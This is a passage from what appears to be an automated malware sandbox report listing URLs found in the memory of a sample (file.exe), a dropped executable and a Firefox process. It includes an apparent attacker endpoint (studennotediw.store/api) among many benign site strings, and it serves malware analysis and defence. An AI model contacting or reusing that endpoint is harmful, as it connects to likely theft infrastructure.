Source: file.exe, 00000000.00000003.2094889804.00000000010C6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2107599445.00000000010C6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2133071167.00000000010D1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2107634315.00000000010CD000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2803081030.000000000174E000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2802979049.000000000174E000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2802979049.0000000001744000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 0000000B.00000003.2920845191.0000000000F31000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/news/
Source: file.exe, 00000000.00000003.2094889804.00000000010C6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2107599445.00000000010C6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2133071167.00000000010D1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2107634315.00000000010CD000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2803081030.000000000174E000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2802979049.000000000174E000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2802979049.0000000001744000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 0000000B.00000003.2920845191.0000000000F31000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/points/shop/
Source: file.exe, 00000000.00000003.2094889804.00000000010C6000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2803081030.000000000174E000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2802979049.000000000174E000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2802979049.0000000001744000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 0000000B.00000003.2920845191.0000000000F31000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/privacy_agreement/
Source: file.exe, 00000000.00000003.2094889804.00000000010C6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2107599445.00000000010C6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2133071167.00000000010D1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2107634315.00000000010CD000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2803081030.000000000174E000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2802979049.000000000174E000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2802979049.0000000001744000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 0000000B.00000003.2920845191.0000000000F31000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/stats/
Source: file.exe, 00000000.00000003.2094889804.00000000010C6000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2803081030.000000000174E000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2802979049.000000000174E000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2802979049.0000000001744000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 0000000B.00000003.2920845191.0000000000F31000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/steam_refunds/
Source: file.exe, 00000000.00000003.2094889804.00000000010C6000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2803081030.000000000174E000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2802979049.000000000174E000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2802979049.0000000001744000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 0000000B.00000003.2920845191.0000000000F31000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/subscriber_agreement/
Source: 976d9f40c1.exe, 0000000B.00000003.2921635801.0000000000EB5000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 0000000B.00000002.2923205101.0000000000EB5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://studennotediw.store:443/api
Source: firefox.exe, 00000019.00000002.3179268401.000001379A0A2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3262272716.00000137A88F4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3194453184.000001379DD95000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3183838665.000001379A903000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3181915988.000001379A8B2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3193146359.000001379C9C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/
Source: firefox.exe, 00000019.00000002.3268801585.00000137A92F6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3236681244.00000137A107C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.3074602555.00000137A92F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/118.0.1/WINNT/en-US/
Source: file.exe, 00000000.00000003.2134472966.0000000005CBD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3267319555.00000137A91E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/firefox-crashes-troubleshoot-prevent-and-get-helphttps://support.mozi
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3235672000.00000137A0FB4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/refresh-firefox-reset-add-ons-and-settings
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/refresh-firefox-reset-add-ons-and-settingsUnable
Source: file.exe, 00000000.00000003.2134472966.0000000005CBD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: firefox.exe, 00000019.00000002.3179268401.000001379A0A2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3194453184.000001379DDDC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3194453184.000001379DD95000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3183838665.000001379A903000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://truecolors.firefox.com
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3183838665.000001379A973000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3183838665.000001379A925000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://watch.sling.com/
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3183838665.000001379A9E3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3233387632.00000137A0C62000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3256678310.00000137A6497000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.aliexpress.com/
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.3026487820.00000137A6A2D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3256678310.00000137A6497000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.co.uk/
Source: file.exe, 00000000.00000003.2147753615.0000000005A5A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3194453184.000001379DD54000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3178406027.0000013799FAD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3194453184.000001379DD95000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3157667654.000001804BECB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477
Source: firefox.exe, 00000019.00000003.2975681250.000001379E91D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3207818517.000001379EC1F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2977256992.000001379E98A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2976232127.000001379E938000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3258641939.00000137A6981000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3183838665.000001379A973000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3220295992.00000137A0106000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3205276843.000001379E800000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.3183838665.000001379A925000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2974846355.000001379E700000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2976412933.000001379E953000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2976574533.000001379E96F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3183838665.000001379A903000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/exec/obidos/external-search/
Source: file.exe, 00000000.00000003.2147753615.0000000005A5A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3194453184.000001379DD54000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3178406027.0000013799FAD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3194453184.000001379DD95000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3157667654.000001804BECB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref
Source: file.exe, 00000000.00000003.2094931339.000000000107E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2094889804.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2094931339.0000000001066000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.cloudflare.com/5xx-error-landing
Source: file.exe, 00000000.00000003.2094931339.000000000107E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.cloudflare.com/lear
Source: file.exe, 00000000.00000003.2094931339.000000000108F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.cloudflare.com/learning/access-management/phishing-attack/
Source: file.exe, 00000000.00000003.2108201890.00000000059D1000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2108149493.00000000059D4000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2108287783.00000000059D1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: 976d9f40c1.exe, 0000000B.00000002.2923205101.0000000000EB5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.3016636539.00000137A6189000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3256678310.00000137A6497000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/search
Source: firefox.exe, 00000019.00000003.2975681250.000001379E91D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2977256992.000001379E98A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.3047116966.00000137A62B5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2976232127.000001379E938000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3183838665.000001379A973000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3205276843.000001379E800000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000003.2974846355.000001379E700000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2976412933.000001379E953000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2976574533.000001379E96F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.3037293440.00000137A62BA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/search?client=firefox&q=
Source: file.exe, 00000000.00000003.2108201890.00000000059D1000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2108149493.00000000059D4000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2108287783.00000000059D1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: 976d9f40c1.exe, 0000000B.00000002.2923205101.0000000000EB5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/recaptcha/
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3207818517.000001379EC1F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3236681244.00000137A10D4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3183838665.000001379A9E3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3178406027.0000013799F45000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2977256992.000001379E98A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.3047116966.00000137A62B5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.3037293440.00000137A62B5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2976232127.000001379E938000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3183838665.000001379A973000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3220295992.00000137A0106000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3205276843.000001379E800000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.3183838665.000001379A925000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2974846355.000001379E700000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2976412933.000001379E953000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2976574533.000001379E96F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3258641939.00000137A6961000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3256678310.00000137A6497000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3258641939.00000137A698F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3183838665.000001379A903000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.3080579701.00000137A1B98000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3204056198.000001379E698000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3258641939.00000137A699D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.3034748232.00000137A699D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3258641939.00000137A697C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search?client=firefox-b-d&q=
Source: 976d9f40c1.exe, 0000000B.00000002.2923205101.0000000000EB5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.cn/recaptcha/
Source: 976d9f40c1.exe, 0000000B.00000002.2923205101.0000000000EB5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/recaptcha/
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3205276843.000001379E800000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.hulu.com/watch/
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3205276843.000001379E800000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.instagram.com/
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.3026487820.00000137A6A2D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3256678310.00000137A6497000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.leboncoin.fr/
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3212088347.000001379F3F0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mobilesuica.com/
Source: firefox.exe, 00000019.00000002.3258641939.00000137A69E6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3181915988.000001379A807000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3273600279.00002250CC504000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3262272716.00000137A88F4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3179268401.000001379A0B1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3258641939.00000137A69DC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3179268401.000001379A003000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3258641939.00000137A697C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3193146359.000001379C9C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/about/legal/terms/subscription-services/
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/about/legal/terms/subscription-services/firefox-desktop-password-au
Source: file.exe, 00000000.00000003.2134472966.0000000005CBD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3267319555.00000137A91E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.CDjelnmQJyZc
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.3028904621.00000137A8F33000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.3026895812.00000137A8F35000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/legal/terms/mozilla/
Source: file.exe, 00000000.00000003.2134472966.0000000005CBD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3267319555.00000137A91E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.b3lOZaxJcpF6
Source: file.exe, 00000000.00000003.2134472966.0000000005CBD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3267319555.00000137A91E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: file.exe, 00000000.00000003.2134472966.0000000005CBD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3267319555.00000137A91E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/new/
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/new/resource://gre/modules/KeywordUtils.sys.mjsresource://gre/module
Source: file.exe, 00000000.00000003.2134472966.0000000005CBD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3267319555.00000137A91E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3178406027.0000013799F54000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3157667654.000001804BECB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3194453184.000001379DD95000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/#suggest-relevant-content
Source: file.exe, 00000000.00000003.2134472966.0000000005CBD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3267319555.00000137A91E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3183838665.000001379A973000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3183838665.000001379A925000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.sling.com/
Source: file.exe, 00000000.00000003.2201148750.00000000010D6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2151059602.00000000010D6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2147845498.00000000010D6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2094889804.00000000010C6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2151283183.00000000010D6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2107599445.00000000010C6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2133071167.00000000010D1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2236560303.00000000010D6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2167545129.00000000010D5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2107634315.00000000010CD000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2250494766.00000000010D6000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2803112102.00000000016E5000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2803081030.000000000174E000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2802979049.000000000174E000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2802979049.0000000001744000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2802979049.000000000173D000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000003.2803355226.00000000016E9000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 0000000B.00000003.2921635801.0000000000EC9000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 0000000B.00000003.2922291793.0000000000ECB000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 0000000B.00000003.2920845191.0000000000F31000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback
Source: 976d9f40c1.exe, 0000000B.00000002.2923205101.0000000000EB5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com
Source: 976d9f40c1.exe, 0000000B.00000002.2923205101.0000000000EB5000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3257901918.00000137A6715000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3183838665.000001379A9E3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3194453184.000001379DD54000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3183838665.000001379A973000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3258641939.00000137A69FA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3233387632.00000137A0C62000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3257901918.00000137A67B4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3204056198.000001379E616000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3216319833.000001379FE03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3272561632.00000E3FE0E00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3194453184.000001379DD95000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3256678310.00000137A6497000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.3044193469.00000137A67B4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3190977746.000001379C4DE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.3084260888.00000137A1B62000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3240318696.00000137A1B62000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3272739048.00000F92B5563000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3207818517.000001379EC1F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3220295992.00000137A01FB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3236681244.00000137A10D4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.3112035242.00000137A02B7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.3044193469.00000137A67A0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3234717923.00000137A0E03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3183838665.000001379A9E3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3178406027.0000013799F45000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3234717923.00000137A0E9B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.3101120989.00000137A02B4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.3109478738.00000137A0372000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.3087918293.00000137A0372000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3183838665.000001379A973000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3168467710.000001378E4B0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3178406027.0000013799FAD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3216319833.000001379FE90000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3170068733.000001378E811000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3204056198.000001379E616000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 